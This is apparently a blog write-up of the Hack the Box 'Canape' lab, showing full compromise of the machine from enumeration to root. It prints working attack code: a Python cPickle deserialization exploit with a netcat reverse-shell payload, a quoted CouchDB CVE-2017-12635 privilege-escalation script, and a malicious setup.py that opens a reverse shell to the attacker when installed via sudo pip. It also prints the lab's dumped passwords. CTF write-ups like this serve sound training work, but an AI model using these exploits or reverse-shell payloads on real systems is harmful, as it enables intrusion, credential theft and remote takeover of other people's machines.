HTB – Canape

Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.

root@kali:~/htb/canape# nmap -p- -sV 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:18 CET
Nmap scan report for 10.10.10.70
Host is up (0.044s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.24 seconds

As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.

We don’t find anything on the webpage, so we run

root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:32 CET
Nmap scan report for 10.10.10.70
Host is up (0.038s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.57 seconds

We open the /.git/ directory and find the config file.

When we open the config file, we find a domain name “git.canape.htb”.

Now we have added the domain name of the target machine in /etc/hosts file to access the webpage using IP address as well as domain name.

Now we can clone the local git repository using the following command:

Here we found out a file named “__init__.py” in Simpsons folder as shown in the image.

After download the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.

Now we create a program to exploit this vulnerability and get reverse shell.

###Canape cPickle Exploit (run nc -nlvp 443 separately.)

#Change host/port to your own ip/desired port.
LHOST = "10.10.14.18"
LPORT = "443"

import requests as rq #For posting request
import cPickle #For generating payload
import hashlib #For generating MD5 hash as id
import os #For creating shell object

#Generate payload:
class shell(object):
    def __reduce__(self):
            return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" % (LHOST, LPORT),))
payload = cPickle.dumps(shell())

#Define post parameters.
character = payload+"S'homer'\n"
quote = "quote"
data = {"character":character,"quote":quote}

#Send payload and check reponse.
resp = rq.post('http://10.10.10.70/submit',data=data)
if "Success" in resp.text: print("Successfully posted.")
else: print("Upload error."); sys.exit()

#Calculate and load response page, which in turn triggers the exploit.
p_id = str(hashlib.md5(character+quote).hexdigest())
print("Executing payload...")
rq.post("http://10.10.10.70/check", data={"id":p_id}).text
root@kali:~/htb/canape/simpsons# python pixploit.py

We setup our listener “netcat” before running the python program

root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54668
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
homer:x:1000:1000:homer,,,:/home/homer:/bin/bash

$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:44732 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN - 
tcp 0 125 10.10.10.70:54668 10.10.14.15:443 ESTABLISHED 18876/nc 
tcp 1 0 127.0.0.1:33044 127.0.0.1:5984 CLOSE_WAIT - 
tcp 0 0 10.10.10.70:80 10.10.14.15:35810 ESTABLISHED - 
tcp 1 0 127.0.0.1:33046 127.0.0.1:5984 CLOSE_WAIT 18871/sh 
tcp 0 0 127.0.0.1:49880 127.0.0.1:4369 ESTABLISHED - 
tcp 0 0 127.0.0.1:4369 127.0.0.1:49880 ESTABLISHED - 
tcp6 0 0 :::65535 :::* LISTEN - 
tcp6 0 0 :::4369 :::* LISTEN - 
$
$ curl http://127.0.0.1:5984
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 91 100 91 0 0 27584 0 --:--:-- --:--:-- --:--:-- 45500
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
$ curl http://127.0.0.1:5984/_all_dbs
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 78 0 78 0 0 24848 0 --:--:-- --:--:-- --:--:-- 39000
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Then we create a user with permissions to read the database with following command.

$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:puck' --data-binary '{"type":"user","name":"puck","roles": ["_admin"],"roles": [],"password": "1234567"}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 167 100 84 100 83 660 652 --:--:-- --:--:-- --:--:-- 656
{"ok":true,"id":"org.couchdb.user:puck","rev":"1-f93cce0747d99984fe3cd26f8193f20e"}
$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puck:1234567
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1242 0 1242 0 0 76454 0 --:--:-- --:--:-- --:--:-- 82800
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}}
]}

Or alternatively , couchdb version is vulnerable too (CVE-2017-12635 ‘Apache CouchDB JSON Remote Privilege Escalation Vulnerability’) so I found a publicly available exploit https://www.exploit-db.com/exploits/44498 (to create an user with admin privileges in CouchDB ddbb and… exploit worked!!

root@kali:~/htb# python couchdbprivesc.py
usage: couchdbprivesc.py [-h] [-p PORT] [-u USER] [-P PASSWORD] host
couchdbprivesc.py: error: too few arguments
root@kali:~/htb# cat couchdbprivesc.py 
#!/usr/bin/env python

'''
@author: r4wd3r
@license: MIT License
@contact: r4wd3r@gmail.com
'''

import argparse
import re
import sys
import requests

parser = argparse.ArgumentParser(
description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
type=str, default='couchapass')
args = parser.parse_args()

host = args.host
port = args.port
user = args.user
password = args.password

pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
print "[x] Wrong host. Must be a valid IP address."
sys.exit(1)

print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port

url = 'http://' + host + ':' + port

try:
rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
print "[x] Server is taking too long to answer. Exiting."
sys.exit(1)
except requests.ConnectionError:
print "[x] Unable to connect to the remote host."
sys.exit(1)

# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'

try:
rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
print "[x] ERROR: Unable to create the user on remote host."
sys.exit(1)

if rcu.status_code == 201:
print "[+] User " + user + " with password " + password + " successfully created."
sys.exit(0)
else:
print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."
www-data@canape:/tmp$ wget http://10.10.14.18/couchdbprivesc.py
wget http://10.10.14.18/couchdbprivesc.py
--2019-10-27 08:09:55-- http://10.10.14.18/couchdbprivesc.py
Connecting to 10.10.14.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2131 (2.1K) [text/plain]
Saving to: 'couchdbprivesc.py'

couchdbprivesc.py 100%[===================>] 2.08K --.-KB/s in 0s

2019-10-27 08:09:55 (368 MB/s) - 'couchdbprivesc.py' saved [2131/2131]

www-data@canape:/tmp$ python couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1
<n couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1 
[+] User to create: puckie
[+] Password: style
[+] Attacking host 127.0.0.1 on port 5984
[+] User puckie with password style successfully created.
www-data@canape:/tmp$
www-data@canape:/tmp$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie
<http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie 
Enter host password for user 'puckie':style

{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}}
]}
www-data@canape:/tmp$

We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login we find a file ‘user.txt’. We open the file and find our first flag.

After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as root user.

root@kali:~/htb/canape/simpsons# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Feb 5 11:30:15 2019 from 10.10.14.15
homer@canape:~$ 0B4jyA0xtytZi7esBNGp
[sudo] password for homer: 0B4jyA0xtytZi7esBNGp 
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
(root) /usr/bin/pip install *

Now as we know we can run “pip install *” as root, we are going to abuse it

To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.

import os
import pty
import socket

from setuptools import setup
from setuptools.command.install import install

class MyClass(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.15", 443))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()
	
setup(
    cmdclass={
        "install": MyClass
    }
)

This basically just tells pip to run MyClass at install, which will send us a reverse shell.

Now we’ll need to package it.

root@kali:~/htb/canape# python setup.py sdist

By default it creates a UNKNOWN-0.0.0.tar.gz file under dist, which we can copy out and rename as shell.tar.gz then copy to our victim.

homer@canape:/tmp$ wget http://10.10.14.15/shell.tar.gz
--2019-02-05 11:57:52-- http://10.10.14.15/shell.tar.gz
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 735 [application/gzip]
Saving to: ‘shell.tar.gz’

shell.tar.gz 100%[==================================================================================>] 735 --.-KB/s in 0s

2019-02-05 11:57:52 (118 MB/s) - ‘shell.tar.gz’ saved [735/735]

Now we can start a netcat listener and run sudo with pip install.

homer@canape:/tmp$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54702
root@canape:/tmp/pip-aK4M3e-build# cat /root/root.txt
cat /root/root.txt
928*****76d

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *